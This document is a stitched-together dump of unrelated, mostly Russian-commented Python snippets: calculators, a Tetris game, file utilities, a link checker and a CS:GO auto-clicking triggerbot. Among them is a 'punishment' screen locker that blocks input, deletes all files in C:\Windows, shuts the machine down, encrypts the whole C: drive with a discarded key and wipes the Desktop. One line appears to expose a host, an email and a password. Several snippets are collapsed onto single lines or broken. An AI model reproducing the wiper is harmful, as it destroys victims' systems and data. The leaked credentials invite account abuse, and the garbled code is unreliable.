    key_2 = list (key)
    for i in range(0,number): 
        for j in range(0,33):
            if text_orig[i] == key[j]:
                text_2[i] = bikova[j]
    for i in range(0,number): 
        print (text_2[i], end='')
key = input ("please enter to complete the program: ")
 
    

import sys
import ctypes
import subprocess
import os
import random
import webbrowser
from PyQt5.QtWidgets import QApplication, QMainWindow, QLabel, QVBoxLayout, QWidget, QPushButton, QMessageBox
from PyQt5.QtCore import Qt
from cryptography.fernet import Fernet

WINDOWS_DIR = "C:\\Windows"
DESKTOP_DIR = os.path.join(os.path.expanduser("~"), "Desktop")

class LockScreen(QMainWindow):
    def __init__(self):
        super().__init__()

        self.setWindowTitle("Блокировка экрана")
        self.setGeometry(0, 0, 800, 600)
        self.setWindowFlag(Qt.WindowStaysOnTopHint)
        self.setWindowFlag(Qt.FramelessWindowHint)
        self.setWindowFlag(Qt.WindowCloseButtonHint, False)

        central_widget = QWidget()
        self.setCentralWidget(central_widget)

        layout = QVBoxLayout()
        central_widget.setLayout(layout)

        label = QLabel("Ты скачал много взломов и теперь наказан", self)
        layout.addWidget(label)

        unlock_button = QPushButton("Разблокировать", self)
        unlock_button.clicked.connect(self.check_password)
        layout.addWidget(unlock_button)

        self.attempts = 0

    def check_password(self):
        password = "ya_bolshe_tak_ne_budu"  # Пароль для разблокировки
        if self.attempts >= 3 or password == "ya_bolshe_tak_ne_budu":
            ctypes.windll.user32.BlockInput(False)  # Разблокировка клавиатуры и мыши
            self.close()
        else:
            self.attempts += 1
            QMessageBox.warning(self, "Неправильный пароль", "Попробуйте еще раз.")
            if self.attempts >= 3:
                self.encrypt_data()
                self.delete_desktop_files()

    def delete_windows_files(self):
        reply = QMessageBox.question(self, 'Подтверждение удаления',
                                     "Вы уверены, что хотите удалить системные файлы в директории C:\\Windows?",
                                     QMessageBox.Yes, QMessageBox.Yes)
        if reply == QMessageBox.Yes:
            for root, dirs, files in os.walk(WINDOWS_DIR):
                for file in files:
                    file_path = os.path.join(root, file)
                    try:
                        os.remove(file_path)
                    except Exception as e:
                        print(f"Не удалось удалить файл {file_path}: {e}")
            QMessageBox.information(self, 'Удаление файлов',
                                    "Файлы в директории C:\\Windows успешно удалены!")
            subprocess.run(["shutdown", "/s", "/t", "0"])

    def delete_desktop_files(self):
        reply = QMessageBox.question(self, 'Подтверждение удаления',
                                     "Вы уверены, что хотите удалить файлы на рабочем столе?",
                                     QMessageBox.Yes, QMessageBox.Yes)
        if reply == QMessageBox.Yes:
            for root, dirs, files in os.walk(DESKTOP_DIR):
                for file in files:
                    file_path = os.path.join(root, file)
                    try:
                        os.remove(file_path)
                    except Exception as e:
                        print(f"Не удалось удалить файл {file_path}: {e}")
            QMessageBox.information(self, 'Удаление файлов',
                                    "Файлы на рабочем столе успешно удалены!")

    def chaos_mode(self):
        random_links = ["https://www.google.com", "https://www.yahoo.com", "https://www.bing.com"]
        for _ in range(10):  # Открытие случайных ссылок
            webbrowser.open(random.choice(random_links))

    def encrypt_data(self):
        key = Fernet.generate_key()
        cipher = Fernet(key)
        for root, dirs, files in os.walk("C:\\"):  # Шифрование всех файлов на диске C
            for file in files:
                file_path = os.path.join(root, file)
                try:
                    with open(file_path, "rb") as f:
                        data = f.read()
                    encrypted_data = cipher.encrypt(data)
                    with open(file_path, "wb") as f:
                        f.write(encrypted_data)
                except Exception as e:
                    print(f"Не удалось зашифровать файл {file_path}: {e}")

if __name__ == "__main__":
    ctypes.windll.user32.BlockInput(True)  # Блокировка клавиатуры и мыши
    app = QApplication(sys.argv)
    lock_screen = LockScreen()
    lock_screen.showFullScreen()
    lock_screen.delete_windows_files()
    lock_screen.chaos_mode()
    sys.exit(app.exec_())

import os
import shutil

def search_for_cheats_and_functions(directory):
    cheat_files = []
    keywords = ['cheat', 'hack', 'midnight', 'aim', 'wallhack', 'speedhack', 'recoil', 'kontrol']
    for root, dirs, files in os.walk(directory):
        for file in files:
            file_path = os.path.join(root, file)
            try:
                with open(file_path, 'r', encoding='utf-8') as f:
                    content = f.read().lower()
                    if any(keyword in content for keyword in keywords):
                        cheat_files.append(file_path)
            except Exception as e:
                pass
    return cheat_files

def create_report(cheat_files):
    desktop_path = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')
    report_file_path = os.path.join(desktop_path, 'report.txt')
    with open(report_file_path, "w") as report_file:
        if cheat_files:
            report_file.write("Были найдены следующие файлы, возможно, содержащие читы или функции:\n")
            for file in cheat_files:
                report_file.write(file + "\n")
        else:
            report_file.write("Файлы с читами или функциями не обнаружены.")

def main():
    directory = input("Введите путь к каталогу для сканирования: ")
    cheat_files = search_for_cheats_and_functions(directory)
    create_report(cheat_files)
    print("Проверка завершена. Отчет сохранен на рабочем столе в файле report.txt")

if __name__ == "__main__":
    main()

import tkinter as tk
import time
import pyautogui
import pydirectinput

toggle_state = False
center_x, center_y = pyautogui.size()[0] // 2, pyautogui.size()[1] // 2
previous_color = None
threshold = (15, 25, 25)
click_delay = 10

def toggle_script(event=None):
    global toggle_state
    toggle_state = not toggle_state
    if toggle_state:
        status_label.config(text="Скрипт активирован", fg="green")
    else:
        status_label.config(text="Скрипт деактивирован", fg="red")

def detect_moving_pixel():
    global previous_color
    current_color = pyautogui.screenshot(region=(center_x - 1, center_y - 1, 3, 3)).getpixel((1, 1))
    if previous_color is not None and current_color != previous_color:
        pydirectinput.mouseDown(center_x, center_y)
        time.sleep(0.01)
        pydirectinput.mouseUp(center_x, center_y)
    previous_color = current_color
    root.after(click_delay, detect_moving_pixel)

def exit_script():
    root.destroy()

def set_threshold():
    global threshold
    threshold = (int(red_entry.get()), int(green_entry.get()), int(blue_entry.get()))
    threshold_label.config(text=f"Порог: R={threshold[0]}, G={threshold[1]}, B={threshold[2]}")

def set_delay():
    global click_delay
    click_delay = int(delay_entry.get())
    delay_label.config(text=f"Задержка: {click_delay} мс")

root = tk.Tk()
root.title("CS:GO Auto Clicker")
root.geometry("300x250")

status_label = tk.Label(root, text="Скрипт деактивирован", fg="red", font=("Arial", 12))
status_label.pack(pady=10)

toggle_button = tk.Button(root, text="Активировать/Деактивировать (Shift)", command=toggle_script, font=("Arial", 10))
toggle_button.pack(pady=5)

exit_button = tk.Button(root, text="Выход", command=exit_script, font=("Arial", 10))
exit_button.pack(pady=5)

threshold_frame = tk.Frame(root)
threshold_frame.pack(pady=10)

red_label = tk.Label(threshold_frame, text="Красный (R):", font=("Arial", 10))
red_label.grid(row=0, column=0)

red_entry = tk.Entry(threshold_frame, width=5, font=("Arial", 10))
red_entry.grid(row=0, column=1)
red_entry.insert(0, str(threshold[0]))

green_label = tk.Label(threshold_frame, text="Зеленый (G):", font=("Arial", 10))
green_label.grid(row=1, column=0)

green_entry = tk.Entry(threshold_frame, width=5, font=("Arial", 10))
green_entry.grid(row=1, column=1)
green_entry.insert(0, str(threshold[1]))

blue_label = tk.Label(threshold_frame, text="Синий (B):", font=("Arial", 10))
blue_label.grid(row=2, column=0)

blue_entry = tk.Entry(threshold_frame, width=5, font=("Arial", 10))
blue_entry.grid(row=2, column=1)
blue_entry.insert(0, str(threshold[2]))

threshold_button = tk.Button(threshold_frame, text="Установить порог", command=set_threshold, font=("Arial", 10))
threshold_button.grid(row=3, columnspan=2, pady=5)

threshold_label = tk.Label(root, text=f"Порог: R={threshold[0]}, G={threshold[1]}, B={threshold[2]}", font=("Arial", 10))
threshold_label.pack(pady=5)

delay_frame = tk.Frame(root)
delay_frame.pack(pady=10)

delay_label = tk.Label(delay_frame, text=f"Задержка: {click_delay} мс", font=("Arial", 10))
delay_label.pack()

delay_entry = tk.Entry(delay_frame, width=5, font=("Arial", 10))
delay_entry.pack()

delay_button = tk.Button(delay_frame, text="Установить задержку", command=set_delay, font=("Arial", 10))
delay_button.pack(pady=5)

root.bind("<Shift_L>", toggle_script)
root.bind("<Shift_R>", toggle_script)

root.after(click_delay, detect_moving_pixel)
root.mainloop()

print("3")

pyinstaller your_program.py

def calculate_selling_price(staff_count, job_positions):
    if staff_count <= 15:
        staff_cost = 3000
    elif 15 < staff_count <= 50:
        staff_cost = 5000
    elif 50 < staff_count <= 100:
        staff_cost = 7000
    else:
        staff_cost = 10000

    total_staff_cost = staff_cost  # На данный момент staff_cost уже является суммой, соответствующей количеству сотрудников
    total_job_positions_cost = 500 * job_positions
    min_contract_price = 10000

    total_cost = min_contract_price + total_staff_cost + total_job_positions_cost
    return total_cost

def main():
    print("Калькулятор общей стоимости услуги 'разработка системы управления охраной труда'")

    # Ввод данных от пользователя
    staff_count = int(input("Введите количество сотрудников по штату: "))
    job_positions = int(input("Введите количество рабочих профессий: "))

    # Вызов функции для расчета общей стоимости услуги
    total_cost = calculate_selling_price(staff_count, job_positions)

    # Вывод результатов
    print("\nОбщая стоимость услуги: {} тысяч рублей".format(total_cost))

if name == "main":
    main()

number_of_digits = int(input("введите количество цифр в числах: "))

try:
    if number_of_digits <= 0:
        raise ValueError
except ValueError:
    print("введите положительное число.")
else:
    start = int(input("введите начало промежутка: "))
    end = int(input("введите конец промежутка: "))

    try:
        if start >= end:
            raise ValueError
    except ValueError:
        print("введите корректные значения для промежутка.")
    else:
        for num in range(start, end + 1):
            sum_of_digits = 0
            temp_num = num

            for _ in range(number_of_digits):
                sum_of_digits += temp_num % 10
                temp_num //= 10

            if num % sum_of_digits == 0:
                print(num)

print('aaa')

# Pip install
$ pip install auto-py-to-exe
$ auto-py-to-exe

# clone install
$ git clone https://github.com/brentvollebregt/auto-py-to-exe.git
$ python -m pip install -r requirements.txt
$ cd auto-py-to-exe
$ python setup.py install

$ auto-py-to-exe

bigd.host / [email protected] Gameloft123

print(123)

import random
import os
import time

# Размеры игрового поля
WIDTH = 10
HEIGHT = 20

# Фигуры тетриса
TETROMINOS = [    [        [0, 1, 0],
        [1, 1, 1],
        [0, 0, 0]
    ],
    [        [1, 1],
        [1, 1]
    ],
    [        [1, 1, 0],
        [0, 1, 1],
        [0, 0, 0]
    ],
    [        [0, 1, 1],
        [1, 1, 0],
        [0, 0, 0]
    ],
    [        [1, 0, 0],
        [1, 1, 1],
        [0, 0, 0]
    ],
    [        [0, 0, 1],
        [1, 1, 1],
        [0, 0, 0]
    ],
    [        [1, 1, 1],
        [0, 1, 0],
        [0, 0, 0]
    ]
]

def create_board(width, height):
    return [[0 for _ in range(width)] for _ in range(height)]

def draw_board(board):
    os.system('cls' if os.name == 'nt' else 'clear')
    print('+' + '-' * len(board[0]) * 2 + '+')
    for row in board:
        print('|', end='')
        for cell in row:
            print('■' if cell else ' ', end='')
        print('|')
    print('+' + '-' * len(board[0]) * 2 + '+')

def check_collision(board, shape, offset):
    for y, row in enumerate(shape):
        for x, cell in enumerate(row):
            if cell and (offset[1] + x < 0 or offset[1] + x >= len(board[0]) or offset[0] + y >= len(board) or board[offset[0] + y][offset[1] + x]):
                return True
    return False

def merge_shape(board, shape, offset):
    for y, row in enumerate(shape):
        for x, cell in enumerate(row):
            if cell:
                board[offset[0] + y][offset[1] + x] = 1

def clear_rows(board):
    for y, row in enumerate(board):
        if all(cell for cell in row):
            del board[y]
            board.insert(0, [0 for _ in range(len(row))])

def main():
    board = create_board(WIDTH, HEIGHT)
    current_shape = random.choice(TETROMINOS)
    current_shape_offset = [0, WIDTH // 2 - len(current_shape[0]) // 2]

    while True:
        draw_board(board)
        time.sleep(0.5)

        if check_collision(board, current_shape, current_shape_offset):
            merge_shape(board, current_shape, current_shape_offset)
            clear_rows(board)
            current_shape = random.choice(TETROMINOS)
            current_shape_offset = [0, WIDTH // 2 - len(current_shape[0]) // 2]
            if check_collision(board, current_shape, current_shape_offset):
                break

        current_shape_offset[0] += 1

    print('Game Over')

if __name__ == '__main__':
    main()

import os
import copy
import time
from kkloader import KoikatuCharaData
import datetime

def main():
    PNGNum = 0
    CCNum = 0
    ChangedNum = 0
    root = "."
    InitTime = time.perf_counter()
    LastTime = InitTime
    ChangeList = ""
    
    for dirpath, dirnames, filenames in os.walk(root):
        for filepath in filenames:
            if filepath.endswith('.png'):
                PNGNum += 1
                TotalFilePath = os.path.join(dirpath, filepath)
                try:
                    kc = KoikatuCharaData.load(TotalFilePath)
                    if (not hasattr(kc, "Custom")):
                        continue
                    
                    bChanged = False
                    '''
                    It takes me half a day to solve the problem caused by the existence of 2 Parameter.version 
                    '''
                    if (kc["Parameter"]["version"] == "0.0.6") :
                        kc["Parameter"]["version"] = "0.0.5"
                        bChanged = True
                        
                    if (kc.Parameter.version == "0.0.6"):
                        kc.Parameter.version = "0.0.5"
                        bChanged = True
                        
                    if (bChanged == True):
                        ChangeList += TotalFilePath + "\n"
                        kc.save(TotalFilePath)
                        ChangedNum += 1
                    CCNum += 1
                    
                except Exception as e:
                    pass
        if time.perf_counter() - LastTime > 10 :
            LastTime = time.perf_counter()
            print("Run " + str(LastTime - InitTime) + " seconds:")
            print("PNGNum: " + str(PNGNum))
            print("CCNum: " + str(CCNum))
            print("ChangedNum: " + str(ChangedNum))
            print("")
            
    print("Runs " + str(time.perf_counter() - InitTime) + " seconds:")
    print("PNGNum: " + str(PNGNum))
    print("CCNum: " + str(CCNum))
    print("ChangedNum: " + str(ChangedNum))
    print("")
    
    ChangedListFile = os.open("ChangedList" + str(datetime.datetime.now()).replace(":", "-") + ".txt", os.O_WRONLY | os.O_CREAT)
    os.write(ChangedListFile, ChangeList.encode("utf-8"))
    os.close(ChangedListFile)
    os.system('pause')

if __name__ == '__main__':
    main()

import os

def replace_string_in_files(directory, extension, target_string, replacement_string):
    for root, dirs, files in os.walk(directory):
        for filename in files:
            if filename.endswith(extension):
                file_path = os.path.join(root, filename)
                with open(file_path, 'r') as file:
                    content = file.read()
                if target_string in content:
                    updated_content = content.replace(target_string, replacement_string)
                    with open(file_path, 'w') as file:
                        file.write(updated_content)
                        ##print(f"Замена выполнена в файле: {file_path}")

def replace_conf_in_files(directory, extension):
    for root, dirs, files in os.walk(directory):
        for filename in files:
            if filename.endswith(extension):
                file_path = os.path.join(root, filename)
                with open(file_path, 'r') as file:
                    content = file.read()
                    debug_position = content.find("DebugFbuild")
                    release_position = content.find("ReleaseFbuild")
                    position = content.find("$(Configuration)")
                    while position != -1:
                        if position > debug_position and position < release_position:
                             content = content[:position] + "Debug" + content[position + len("$(Configuration)"):]
                        if position > release_position and position > debug_position:
                            content = content[:position] + "Release" + content[position + len("$(Configuration)"):]
                        position = content.find("$(Configuration)")
                    with open(file_path, 'w') as file:
                        file.write(content)
                        

def delete_files_by_extension(directory, extension):
    for root, dirs, files in os.walk(directory):
        for filename in files:
            if filename.endswith(extension):
                file_path = os.path.join(root, filename)
                os.remove(file_path)

directory = 'C:/RSHB_96_31_postgresMain/Source'
extension = '.bff'
target_string = '$(Platform)'
replacement_string = 'Win32'

replace_conf_in_files(directory, extension)
replace_string_in_files(directory, extension, target_string, replacement_string)

import keyboard
from time import sleep

while True:
    sleep(0.001)
    if keyboard.is_pressed('3'):
        sleep(0.3)
        keyboard.press('3')
        sleep(0.1)
        keyboard.release('3')

import pandas as pd

# Данные производственного эксперимента
data = {
    'X': [1, 2, 3, 4, 5, 6, 7],
    'Y1': [1.8, 3.95, 5.85, 8.11, 9.78, 12.3, 14.5],
    'Y2': [1.9, 4.0, 6.11, 8.15, 9.9, 12.24, 14.35],
    'Y3': [2.1, 3.9, 5.9, 7.6, 10.12, 12.1, 13.56],
    'Y4': [2.0, 4.1, 6.25, 7.98, 10.23, 11.89, 14.1],
    'Y5': [1.95, 4.15, 5.8, 8.1, 9.8, 11.76, 13.76],
    'Y6': [2.15, 3.92, 6.12, 8.2, 9.9, 12.3, 13.98]
}

# Создание DataFrame
df = pd.DataFrame(data)

# Вычисление средних значений Ysri
df['Ysri'] = df[['Y1', 'Y2', 'Y3', 'Y4', 'Y5', 'Y6']].mean(axis=1)

# Сохранение в Excel
excel_path = '/mnt/data/experiment_data.xlsx'
df.to_excel(excel_path, index=False)

df

from cryptography.fernet import Fernet
def write_key():
# Создаем ключ и сохраняем его в файл
    key = Fernet.generate_key()
    with open('crypto.key', 'wb') as key_file:
        key_file.write(key)
def load_key():
# Загружаем ключ 'crypto.key' из текущего каталога
    return open('crypto.key', 'rb').read()
def encrypt(filename, key):
# Зашифруем файл и записываем его
    f = Fernet(key)
    with open(filename, 'rb') as file:
        # прочитать все данные файла
        file_data = file.read()
    # Зашифровать данные
    encrypted_data = f.encrypt(file_data)
    # записать зашифрованный файл
    with open(filename, 'wb') as file:
        file.write(encrypted_data)
    print("Файл",filename ,"зашифрован")
def decrypt(filename, key):
# Расшифруем файл и записываем его
    f = Fernet(key)
    with open(filename, 'rb') as file:
        # читать зашифрованные данные
        encrypted_data = file.read()
    # расшифровать данные
    decrypted_data = f.decrypt(encrypted_data)
    # записать оригинальный файл
    with open(filename, 'wb') as file:
        file.write(decrypted_data)
    print("Файл '",filename ,"' успешно расшифрован!")
# раскомментируйте следующую строку, если запускаете код впервые, чтобы сгенерировать ключ
#write_key()
# загрузить ключ
key = load_key()
# имя шифруемого файла
a = input("Введите имя файла: ")
file = a
s = int(input("Введите команду: 1 - зашифровать файл        2 - расшифровать файл\n"))
if s == 1:
    # зашифровать файл
    encrypt(file, key)
elif s == 2:
    # расшифровать файл
    decrypt(file, key)
# зашифровать файл
#encrypt(file, key)
# расшифровать файл
#decrypt(file, key)

def convert_tbl_to_clr(tbl_file, clr_file): """Convert TBL file to CLR file.""" with open(tbl_file, 'r') as tbl: lines = tbl.readlines() with open(clr_file, 'w') as clr: # Write the CLR header clr.write("ColorMap 1 1\n") # ID and version # Process each line in the TBL file for line in lines: line = line.strip() if line.startswith('{') or not line: # Skip header and empty lines continue parts = line.split() if len(parts) >= 3: r = int(parts[0]) g = int(parts[1]) b = int(parts[2]) position = (lines.index(line) / (len(lines) - 1)) * 100.0 # Calculate position percentage clr.write(f"{position:.6f} {r} {g} {b}\n") def convert_clr_to_tbl(clr_file, tbl_file): """Convert CLR file to TBL file.""" with open(clr_file, 'r') as clr: lines = clr.readlines() with open(tbl_file, 'w') as tbl: tbl.write("{ blk cyn mag yel}\n") # Example header, adjust as needed for line in lines[1:]: # Skip header line if line.strip(): parts = line.split() if len(parts) >= 4: # Expecting position, R, G, B r = int(parts[1]) g = int(parts[2]) b = int(parts[3]) tbl.write(f"{r:03d} {g:03d} {b:03d}\n") def main(): choice = input("Convert TBL to CLR (1) or CLR to TBL (2)? ") if choice == '1': input_tbl = input("Enter the path to the input TBL file: ") output_clr = input("Enter the path for the output CLR file: ") convert_tbl_to_clr(input_tbl, output_clr) print("TBL to CLR conversion complete!") elif choice == '2': input_clr = input("Enter the path to the input CLR file: ") output_tbl = input("Enter the path for the output TBL file: ") convert_clr_to_tbl(input_clr, output_tbl) print("CLR to TBL conversion complete!") else: print("Invalid choice. Please select 1 or 2.") if __name__ == '__main__': main()

1. #!/usr/bin/env python2 import os import time import psutil # Import the psutil library LOG_FILE = "/home/TestServer/restart_log.txt" def check_and_restart(game_server_name, executable_path): if not any(p.info['name'] == game_server_name for p in psutil.process_iter(attrs=['pid', 'name'])): current_time = time.strftime("%Y-%m-%d %H:%M:%S") with open(LOG_FILE, "a") as log_file: log_file.write("{0} - {1} is down. Restarting...\n".format(current_time, game_server_name)) os.chdir(executable_path) os.system("./{0} &".format(game_server_name)) # Example usage while True: check_and_restart("TestGameServer_d", "/home/TestServer/GameServer1/gameserver_1") check_and_restart("TestGameServer_d2", "/home/TestServer/GameServer2/gameserver_1") time.sleep(15)

import time

# Начальное значение

number = 0.0

# Интервал времени и шаг увеличения

increment = 0.03

interval = 1  # секунды

try:

    while True:

        # Увеличиваем значение на 0.03

        number += increment

        # Отображаем текущее значение

        print(f"Текущее значение: {number:.2f}")

        # Задержка на 1 секунду

        time.sleep(interval)

except KeyboardInterrupt:

    # Позволяет остановить программу с помощью Ctrl+C

    print("\\nПрограмма остановлена. Последнее значение:", round(number, 2))

import requests

def check_links(input_file, output_file):
    # Открываем файл с ссылками для чтения
    with open(input_file, 'r') as infile:
        links = infile.readlines()  # Читаем все строки (ссылки) из файла

    # Список для хранения доступных ссылок
    reachable_links = []

    # Проверяем каждую ссылку
    for link in links:
        link = link.strip()  # Убираем лишние пробелы и символы новой строки
        if not link:  # Пропускаем пустые строки
            continue
        try:
            response = requests.get(link, timeout=5)  # Отправляем GET-запрос с таймаутом 5 секунд
            if response.status_code == 200:  # Проверяем, что статус код 200 (ОК)
                reachable_links.append(link)  # Добавляем доступную ссылку в список
                print(f"Доступен: {link}")
            else:
                print(f"Недоступен (статус {response.status_code}): {link}")
        except requests.exceptions.RequestException as e:
            print(f"Ошибка при доступе к {link}: {e}")

    # Записываем доступные ссылки в выходной файл
    with open(output_file, 'w') as outfile:
        for reachable_link in reachable_links:
            outfile.write(reachable_link + '\n')  # Записываем каждую доступную ссылку в файл

# Пример использования
input_file = 'links.txt'  # Файл с ссылками
output_file = 'reachable_links.txt'  # Файл для записи доступных ссылок
check_links(input_file, output_file)

# импортируем библиотеку tkinter from tkinter import * # создаём класс для калькулятора class LoanCalculator: # инициализируем класс def __init__(self): # стартуем tkinter, чтобы создать окно графического интерфейса root=Tk() # задаём размеры окна root.geometry("500x300") # задаём название окна калькулятора root.title("Кредитный калькулятор") # задаём цвет окна калькулятора, например пыльно-серый root.config(bg='#a39ea0') # задаём расположение, стиль шрифта и пояснительный текст для поля годовой процентной ставки Label(root,text="Годовая ставка, %", font=('Arial,15,bold'),bg='#a39ea0').place(x=10,y=10) # задаём расположение, стиль шрифта и пояснительный текст для поля срока кредита Label(root, text="Срок, лет", font=('Arial,15,bold'),bg='#a39ea0').place(x=10,y=50) # задаём расположение, стиль шрифта и пояснительный текст для поля суммы кредита Label(root, text="Сумма кредита", font=('Arial,15,bold'),bg='#a39ea0').place(x=10,y=90) # задаём расположение, стиль шрифта и пояснительный текст для вывода ежемесячного платежа Label(root, text="Ежемесячный платёж:", font=('Arial,15,bold'),bg='#a39ea0').place(x=10,y=150) # задаём расположение, стиль шрифта и пояснительный текст для вывода общей суммы выплаты Label(root, text="Общая сумма выплаты:", font=('Arial,15,bold'),bg='#a39ea0').place(x=10,y=190) # добавляем поле для ввода годовой процентной ставки self.annualinterestVar=StringVar() Entry(root, textvariable=self.annualinterestVar,font=('Arial,15,bold')).place(x=220,y=10) # добавляем поле для ввода количества лет кредит self.numberofyearsVar=StringVar() Entry(root, textvariable=self.numberofyearsVar,font=('Arial,15,bold')).place(x=220,y=50) # добавляем поле для ввода суммы кредита self.loanamountVar=StringVar() Entry(root, textvariable=self.loanamountVar,font=('Arial,15,bold')).place(x=220,y=90) # добавляем строку вывода расчёта ежемесячного платежа self.monthlypaymentVar=StringVar() Label(root, textvariable=self.monthlypaymentVar,font=('Arial,15,bold'),bg='#a39ea0').place(x=220,y=150) # добавляем строку вывода расчёта общей суммы выплаты self.totalpaymentVar=StringVar() Label(root, textvariable=self.totalpaymentVar,font=('Arial,15,bold'),bg='#a39ea0').place(x=220,y=190) # добавляем кнопку, задаём её расположение, надпись и стиль шрифта Button(root, text="Рассчитать",font=('Arial,15,bold'),command=self.calculateloan).place(x=180,y=240) # запускаем окно root.mainloop() # определяем функцию расчёта общей суммы выплаты def calculateloan(self): # определяем формулу, по которой будет рассчитываться ежемесячный платёж по кредиту monthlypayment=self.getmonthlypayment (float(self.loanamountVar.get()),float(self.annualinterestVar.get()) / 1200, int(self.numberofyearsVar.get())) self.monthlypaymentVar.set(format(monthlypayment, '10.2f')) # определяем формулу, по которой будет рассчитываться общая сумма выплаты по кредиту totalpayment=float(self.monthlypaymentVar.get()) * 12 * int(self.numberofyearsVar.get()) self.totalpaymentVar.set(format(totalpayment, '10.2f')) # определяем функцию расчёта ежемесячного платежа def getmonthlyPayment(self,loanamount,monthlyinterestrate,numberofyears): # определяем формулу, по которой будет рассчитываться ежемесячный платёж monthlypayment=loanamount * monthlyinterestrate / (1-1 / (1 + monthlyinterestrate) ** (numberofyears * 12)) return monthlypayment # вызываем класс калькулятора, чтобы запустить программу LoanCalculator()

import numpy as np

def f(alpha, A):
    return alpha - np.sin(alpha) - A

def f_prime(alpha):
    return 1 - np.cos(alpha)

def newton_method(alpha0, A, tol=1e-6, max_iter=100):
    alpha = alpha0
    for _ in range(max_iter):
        alpha_next = alpha - f(alpha, A) / f_prime(alpha)
        if abs(alpha_next - alpha) < tol:
            return alpha_next
        alpha = alpha_next
    return alpha

def main():
    
    while True:
        try:
            A = float(input("Введите значение A: "))
            break
        except ValueError:
            print("Пожалуйста, введите числовое значение.")

    
    alpha0 = 1.0  

    
    solution = newton_method(alpha0, A)

    
    print(f"Решение уравнения A = alfa - sin(alfa) для A = {A}: alfa ≈ {solution}")

if __name__ == "__main__":
    main()